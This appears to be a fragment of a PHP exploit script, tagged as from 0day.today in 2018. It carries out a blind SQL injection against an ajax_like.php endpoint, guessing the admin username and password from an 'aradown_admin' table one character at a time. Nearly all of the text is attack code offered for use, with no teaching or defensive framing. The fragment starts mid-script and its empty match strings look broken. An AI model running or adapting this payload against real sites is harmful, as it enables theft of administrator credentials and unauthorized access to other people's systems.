"; $target = stdin(); $ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'); echo "[*] Username : "; for($i=1;$i<=30;$i++){ foreach($ar as $char){ $b = send('http://server',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # "); if(eregi('',$b) && $char == 'z'){ $i = 50; break; } if(eregi('',$b)) continue; echo $char; break; } } echo "\n[*] Password : "; for($i=1;$i<=32;$i++){ foreach($ar as $char){ $b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # "); if(eregi('',$b)) continue; echo $char; break; } } function send($target,$query){ $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php"); curl_setopt($ch,CURLOPT_POST,true); curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query)); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); $r = curl_exec($ch); curl_close($ch); return $r; } function stdin(){ $fp = fopen("php://stdin","r"); $line = trim(fgets($fp)); fclose($fp); return $line; } ?> # 0day.today [2018-04-12] #

Query Builder